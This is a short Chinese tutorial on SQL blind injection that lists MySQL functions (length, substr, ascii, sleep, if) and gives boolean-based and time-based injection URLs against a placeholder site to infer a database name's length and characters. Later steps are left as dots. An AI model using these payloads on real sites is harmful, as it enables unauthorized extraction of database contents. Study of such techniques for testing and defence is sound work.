天天看点

关于sql盲注sql盲注常用函数及语句:

sql盲注常用函数及语句:

length(string):判断字符串长度

      string:待判断长度的字符串

      返回值:所判断字符串的长度

substr(string,start,lenth):截取字符串

      string:待截取的字符串

      start:截取的开始位置(从1开始)

      length:需要截取的长度

ascii(char):将字符转换成ASCII码表中所对应的数字

      char:待转换的字符

sleep(int):设置延时

      int:设定所需延迟的时间(一般为5~10秒,即sleep(5)...)

if(条件,语句1,语句2):

      条件:为if的判断条件

      语句1:如果条件成立执行语句1

      语句2:如果条件不成立执行语句2

例子:

      构造盲注语句:(以www.xxx.com?id=1为例,对于页面上有显示但无报错的看是否有显示,有显示说明成立,没显示则不成立,也可抓包查看数据包长度;对于没有任何显示的可用延时来判断)

      1、首先判断数据库长度:

      www.xxx.com?id=1 and length((select database()))>10

      网页显示正常说明数据库长度大于10,否则小于10,依次类推可以得到数据库长度

      对于没有任何显示的可用下面这条语句

      www.xxx.com?id=1 and if(length((select database()))>10,sleep(5),1)

      网页出现将近5秒延时(排除一些特殊情况)则说明数据库长度大于10,否者小于10,依次类推得到数据库长度

      2、判断数据库名:

      www.xxx.com?id=1 and ascii(substr((select database()),1,1))>97

      网页显示正常说明数据库名的第一个字符在ASCII表中对应的数字大于97即a,否则小于97,依次类推可以得到数据库名字

      对于没有任何显示的可用下面这条语句

      www.xxx.com?id=1 and if(ascii(substr((select database()),1,1))>97,sleep(5),1)

      网页出现将近5秒延时(排除一些特殊情况)则说明数据库名的第一个字符在ASCII表中对应的数字大于97即a,否则小于            97,依次类推可以得到数据库名字

      3、判断表长度和表名

      。。。。。。

      4、判断字段长度和字段名

      。。。。。。

      5、读数据

      。。。。。。

继续阅读